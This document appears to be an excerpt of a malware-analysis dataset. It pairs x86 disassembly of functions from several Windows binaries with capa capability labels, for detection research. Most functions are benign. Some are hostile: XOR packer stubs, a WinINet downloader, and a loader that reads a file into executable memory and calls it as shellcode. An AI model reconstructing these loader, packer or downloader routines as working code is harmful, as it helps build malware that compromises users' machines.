joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10074400
Capabilities:
Reference sql statements

Disassembly:
push 0x2c
mov eax, 0x1008915e
call fcn.10077d91
xor ebx, ebx
mov esi, ecx
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
lea eax, [ebp - 0x2c]
push eax
lea eax, [esi + 0x38]
push eax
lea edi, [esi + 0x1c]
push edi
mov dword [ebp - 4], ebx
call fcn.10075066
add esp, 0xc
test al, al
jne 0x1007444d
push 0xa
pop esi
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.10006630
mov eax, esi
jmp 0x1007459a
lea eax, [ebp - 0x2c]
push eax
call fcn.10074b6e
pop ecx
test al, al
jne 0x1007447d
lea eax, [ebp - 0x2c]
push eax
call fcn.10074995
pop ecx
test al, al
je 0x1007446e
xor esi, esi
inc esi
jmp 0x1007443b
push edi
call fcn.10073fc9
pop ecx
cmp eax, ebx
je 0x1007447d
mov esi, eax
jmp 0x1007443b
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x10074489
lea eax, [ebp - 0x2c]
lea edi, [esi + 4]
push edi
push eax
call fcn.10071590
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x100744b8
and dword [edi], 0
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.10006630
push ebx
call fcn.10073c30
add esp, 4
jmp 0x1007459a
push 0x7d0
push dword [edi]
call fcn.10070770
xor ebx, ebx
pop ecx
xor edi, edi
pop ecx
mov dword [esi], ebx
cmp byte [esi + 0x58], bl
je 0x1007458c
mov eax, dword [esi + 0x5c]
xor ecx, ecx
sub eax, ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
je 0x10074500
dec eax
je 0x100744f7
dec eax
mov dword [ebp - 0x30], 2
jne 0x10074507
inc ebx
mov dword [ebp - 0x38], ebx
jmp 0x10074507
mov dword [ebp - 0x30], 1
jmp 0x10074507
mov dword [ebp - 0x30], 2
push str.SELECT_value_FROM_pcd_meta_WHERE_key__schema_version
lea eax, [ebp - 0x34]
push eax
push esi
call fcn.1007434f
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x1007454e
push dword [ebp - 0x34]
call fcn.10076dc6
mov ebx, eax
lea eax, [ebp - 0x34]
mov dword [esp], str.SELECT_value_FROM_pcd_meta_WHERE_key__schema_compatibility_version
push eax
push esi
call fcn.1007434f
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x1007454e
push dword [ebp - 0x34]
call fcn.10076dc6
pop ecx
jmp 0x10074551
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x30], eax
jge 0x1007455b
push 0xd
pop edi
jmp 0x10074585
inc ebx
mov dword [ebp - 0x38], ebx
cmp ebx, dword [ebp - 0x30]
jg 0x10074581
push ebx
mov ecx, esi
call fcn.10073e5d
mov edi, eax
test edi, edi
jne 0x1007457a
inc ebx
cmp ebx, dword [ebp - 0x30]
jle 0x10074564
jmp 0x1007458c
cmp dword [ebp - 0x38], ebx
jne 0x10074581
xor edi, edi
test edi, edi
je 0x1007458c
mov ecx, esi
call fcn.10073d7f
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.10006630
mov eax, edi
call fcn.10077ddb
ret
Function at 0x10074995
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100a5428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.100759df
cmp dword [ebp - 0xc], 8
mov eax, dword [ebp - 0x20]
pop ecx
pop ecx
jae 0x100749c0
lea eax, [ebp - 0x20]
push ebx
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea ebx, [eax - 1]
neg ebx
push 0
sbb bl, bl
push 1
lea ecx, [ebp - 0x20]
inc bl
call fcn.10001170
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.10075b7f
leave
ret

Function at 0x100749ec
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100a5428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.100759df
cmp dword [ebp - 0xc], 8
mov eax, dword [ebp - 0x20]
pop ecx
pop ecx
jae 0x10074a17
lea eax, [ebp - 0x20]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10074a2c
test al, 0x10
jbe 0x10074a2c
mov bl, 1
jmp 0x10074a2e
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x20]
call fcn.10001170
mov ecx, dword [ebp - 4]
mov al, bl
xor ecx, ebp
pop ebx
call fcn.10075b7f
leave
ret

Function at 0x10074a49
Capabilities:
Create directory

Disassembly:
push 0x20
mov eax, 0x100891c7
call fcn.10077d91
mov esi, dword [ebp + 8]
push 4
pop ebx
lea eax, [ebp - 0x2c]
push esi
push eax
call fcn.100759df
and dword [ebp - 4], 0
push esi
call fcn.10074995
add esp, 0xc
test al, al
jne 0x10074a93
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x10074a82
lea eax, [ebp - 0x2c]
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
test eax, eax
jne 0x10074a93
xor ebx, ebx
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.10001170
mov eax, ebx
call fcn.10077ddb
ret

Function at 0x10074aa7
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100a5428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.100759df
cmp dword [eax + 0x14], 8
pop ecx
pop ecx
jb 0x10074ace
mov eax, dword [eax]
push esi
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
neg eax
push 1
lea ecx, [ebp - 0x20]
sbb esi, esi
call fcn.10001170
mov ecx, dword [ebp - 4]
lea eax, [esi + 1]
xor ecx, ebp
pop esi
call fcn.10075b7f
leave
ret
Function at 0x10074b94
Capabilities:
Copy file

Disassembly:
push 0x3c
mov eax, 0x100891fc
call fcn.10077d91
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.100759df
and dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
push esi
push eax
call fcn.100759df
add esp, 0x10
cmp dword [ebp - 0x18], 8
mov ecx, dword [ebp - 0x2c]
mov byte [ebp - 4], 1
jae 0x10074bd1
lea ecx, [ebp - 0x2c]
cmp dword [ebp - 0x34], 8
mov eax, dword [ebp - 0x48]
jae 0x10074bdd
lea eax, [ebp - 0x48]
push 0
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov edi, eax
test edi, edi
je 0x10074bf4
push esi
call fcn.10074aa7
pop ecx
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.10001170
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.10001170
test edi, edi
setne al
call fcn.10077ddb
ret

Function at 0x10074dd9
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0x24c
mov eax, 0x10089289
call fcn.10077d91
mov edi, dword [ebp + 8]
xor ebx, ebx
xor eax, eax
mov byte [ebp - 0x251], bl
mov dword [ebp - 0x220], 7
mov dword [ebp - 0x224], ebx
mov word [ebp - 0x234], ax
lea eax, [ebp - 0x258]
push eax
push ebx
push ebx
push 0x2b
push ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x258], ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderLocation]
cmp eax, ebx
lea eax, [ebp - 0x218]
push eax
jl 0x10074e77
push dword [ebp - 0x258]
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
je 0x10074e69
lea eax, [ebp - 0x218]
push eax
call fcn.10077fb6
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x234]
call fcn.10001a60
mov byte [ebp - 0x251], 1
push dword [ebp - 0x258]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
jmp 0x10074ead
push ebx
push ebx
push 0x2b
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x10074ead
lea eax, [ebp - 0x218]
push eax
call fcn.10077fb6
pop ecx
push eax
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x234]
call fcn.10001a60
mov byte [ebp - 0x251], 1
mov ecx, dword [ebp - 0x224]
cmp ecx, ebx
je 0x10074f29
cmp dword [ebp - 0x220], 8
mov eax, dword [ebp - 0x234]
jae 0x10074ecc
lea eax, [ebp - 0x234]
cmp word [eax + ecx*2 - 2], 0x5c
jne 0x10074ee2
dec ecx
push ebx
push ecx
lea ecx, [ebp - 0x234]
call fcn.10074cff
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x250]
push eax
call fcn.1007592b
pop ecx
pop ecx
push eax
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.100735d9
push ebx
push 1
lea ecx, [ebp - 0x250]
mov byte [ebp - 4], bl
call fcn.10006630
mov esi, 0x1008fc80
push esi
call fcn.10077c10
pop ecx
push eax
push esi
mov ecx, edi
call fcn.1007343b
push ebx
push 1
lea ecx, [ebp - 0x234]
call fcn.10001170
mov al, byte [ebp - 0x251]
call fcn.10077ddb
ret

Function at 0x10075b7f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100a5428]
jne 0x10075b89
repz ret
jmp fcn.10078048
Function at 0x10080a0b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x100a5428]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1007b0b2
and dword [ebp - 0x14], 0
cmp dword [0x100a7ba0], 0
mov dword [ebp - 0x18], eax
jne 0x10080abe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10080b66
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10080b66
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x100909a0
push ebx
mov dword [0x100a7ba0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x100a7ba4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x100a7ba8], eax
call edi
push eax
call esi
mov dword [0x100a7bb0], eax
test eax, eax
je 0x10080abe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x100a7bac], eax
mov eax, dword [0x100a7bac]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10080b17
cmp dword [0x100a7bb0], ecx
je 0x10080b17
push eax
call esi
push dword [0x100a7bb0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10080b17
test ebx, ebx
je 0x10080b17
call edi
test eax, eax
je 0x10080b0e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10080b0e
test byte [ebp - 8], 1
jne 0x10080b17
or dword [ebp + 0x10], 0x200000
jmp 0x10080b4a
mov eax, dword [0x100a7ba4]
cmp eax, dword [ebp - 0x18]
je 0x10080b4a
push eax
call esi
test eax, eax
je 0x10080b4a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10080b4a
mov eax, dword [0x100a7ba8]
cmp eax, dword [ebp - 0x18]
je 0x10080b4a
push eax
call esi
test eax, eax
je 0x10080b4a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x100a7ba0]
call esi
test eax, eax
je 0x10080b66
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10080b68
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10075b7f
leave
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x431004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
call 0x43100c
pop eax
nop
nop
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x431030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x40de38
nop
mov ecx, 0xc3e5233
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x74217879
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x40aa5b
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x41a004]
xor eax, esp
mov dword [esp + 0x38], eax
push esi
mov esi, dword [ebp + 8]
push 0x4074dc
push 0x4074f8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40aa95
push 0x800
call eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea ecx, [esp + 0xc]
call fcn.00409cb0
push esi
lea ecx, [esp + 0x24]
call fcn.0040921b
lea ecx, [esp + 0x20]
call fcn.004095c7
mov esi, eax
test esi, esi
jns 0x40aae9
lea ecx, [esp + 8]
call fcn.0040a9d0
test al, al
je 0x40ab33
cmp esi, 0x80040b00
jne 0x40ab33
lea ecx, [esp + 0x20]
call fcn.00409683
mov esi, eax
test esi, esi
js 0x40ab33
mov esi, 0x80040b02
jmp 0x40ab33
cmp dword [esp + 0x1c], 8
lea esi, [esp + 8]
jb 0x40aaf8
mov esi, dword [esp + 8]
push 0x406f80
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40ab2b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
test esi, esi
je 0x40ab24
jle 0x40ab33
movzx esi, si
or esi, 0x80070000
jmp 0x40ab33
mov esi, 0x80004005
jmp 0x40ab33
push dword [ebp + 0x14]
push esi
call eax
mov esi, eax
lea ecx, [esp + 0x20]
call fcn.004092b7
lea ecx, [esp + 8]
call fcn.00409da9
mov ecx, dword [esp + 0x3c]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040b187
mov esp, ebp
pop ebp
ret 0x10

Function at 0x410ed4
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x410f0f
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x410ef6
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x410f07
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x410f11
inc edi
add eax, 0x28
cmp edi, esi
jb 0x410eec
xor eax, eax
pop edi
pop esi

Function at 0x4110d2
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sbb ecx, dword [ebp - 0x48f0f3b2]
ror byte [ebx + 0x318b0441], 1
Function at 0x4115a5
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x41156b
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x411589
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x4115e7
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x4115ce
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x4115d7
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x4115e1
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x4115c3
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x41154d
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x411634
dec eax
je 0x41162b
sub eax, 3
je 0x411622
mov dword [ebp - 4], 0x40
jmp 0x411651
mov dword [ebp - 4], 4
jmp 0x411637
mov dword [ebp - 4], 0x20
jmp 0x411637
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x411683
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x411603
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.00410e94
aas
push eax
invalid
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41171e
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.00410ea4
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00410e59
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
invalid
test dword [ebp - 4], eax
Function at 0x412bfe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
loop 0x412bff
invalid
call [ecx + 0x50]
mov eax, dword [ebp - 0x338]
lea eax, [ebp + eax - 0x230]
push eax
call fcn.00410e05
add esp, 0xc
jmp 0x412e0c
mov eax, dword [ebp - 0x6fc]
inc eax
mov dword [ebp - 0x6fc], eax
and dword [ebp - 0x37c], 0
call fcn.00410e94
inc ecx
adc dword [ecx], esi
xchg edx, eax
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x412e77
lea eax, [ebp - 0x714]
push eax
call fcn.00410ea4
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.00410e59
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jne 0x412e77
jmp 0x412836
cmp dword [ebp - 0x37c], 0
je 0x412e85
jmp 0x412f3a
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 0x3a0]
call dword [ebp - 0x3c8]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0xffffffff
je 0x412ede
push 0
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x38c]
push dword [ebp - 0x748]
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x412ee3
jmp 0x412836
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
call dword [ebp - 0x704]
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0
je 0x412f2a
lea eax, [ebp - 0x714]
push eax
call fcn.00410ea4
pop ecx
push eax
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.00410e59
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x412f35
jmp 0x412f3a
jmp 0x412836
Function at 0x4015e9
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x416635
call fcn.0041328c
mov eax, 0x10d8
call fcn.00410fe0
push ebx
push esi
xor eax, eax
push edi
mov word [ebp - 0x38], ax
xor ebx, ebx
push 0x21
lea eax, [ebp - 0x38]
mov dword [ebp - 0x24], 7
mov dword [ebp - 0x28], ebx
call fcn.004030de
push ebx
push ebx
push ebx
push ebx
push str.Download
mov dword [ebp - 4], ebx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
mov dword [ebp - 0x1c], edi
cmp edi, ebx
jne 0x401653
push str.Failed_to_initialize_WinINet.
push 0x41e8b0
call fcn.004036c2
pop ecx
pop ecx
push eax
call fcn.00401c50
jmp 0x4017b1
cmp dword [ebp - 0x24], 8
mov eax, dword [ebp - 0x38]
jae 0x40165f
lea eax, [ebp - 0x38]
push ebx
push 0x84000100
push ebx
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
mov dword [ebp - 0x18], esi
cmp esi, ebx
jne 0x40169b
push str.Failed_to_open_URL.
push 0x41e8b0
call fcn.004036c2
pop ecx
pop ecx
push eax
call fcn.00401c50
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x4017b1
lea eax, [ebp - 0xe4]
push eax
call fcn.004020ec
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0xd8], 6
je 0x4016e6
push str.Failed_to_open_file_for_writing.
push 0x41e8b0
call fcn.004036c2
pop ecx
pop ecx
push eax
call fcn.00401c50
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
jmp 0x40178c
lea eax, [ebp - 0x14]
push eax
mov edi, 0x1000
push edi
lea eax, [ebp - 0x10e4]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x40172b
cmp dword [ebp - 0x14], ebx
jbe 0x401731
push ebx
push dword [ebp - 0x14]
lea eax, [ebp - 0x10e4]
push eax
lea eax, [ebp - 0xe4]
push eax
call fcn.00401d34
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x10e4]
push eax
push dword [ebp - 0x18]
call esi
test eax, eax
jne 0x401700
lea ecx, [ebp - 0xe0]
call fcn.00402b2a
test eax, eax
jne 0x401765
mov eax, dword [ebp - 0xe4]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0xe4]
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], ebx
jne 0x40175e
or eax, 4
push ebx
push eax
call fcn.00401437
push dword [ebp - 0x18]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0x1c]
call esi
push str.File_downloaded_and_saved_successfully.
push 0x41e7d8
call fcn.004036c2
pop ecx
pop ecx
push eax
call fcn.00401c50
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.004021c7
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x84], vtable.std::ios_base.0
call fcn.00403bb2
pop ecx
push 1
xor edi, edi
lea esi, [ebp - 0x38]
call fcn.00402ac6
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x401835
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x80
push 4
push esi
push 1
push 0x80000000
push str.C:UsersPublicDocumentslogo.cco
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0x40
push 0x1000
mov ebx, eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push ebx
push eax
push edi
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 8]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x58
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
nop
nop
push ebp
mov ebp, esp
nop
sub eax, 0xffffffff
dec eax
pop edi
pop esi
pop ebx
leave
ret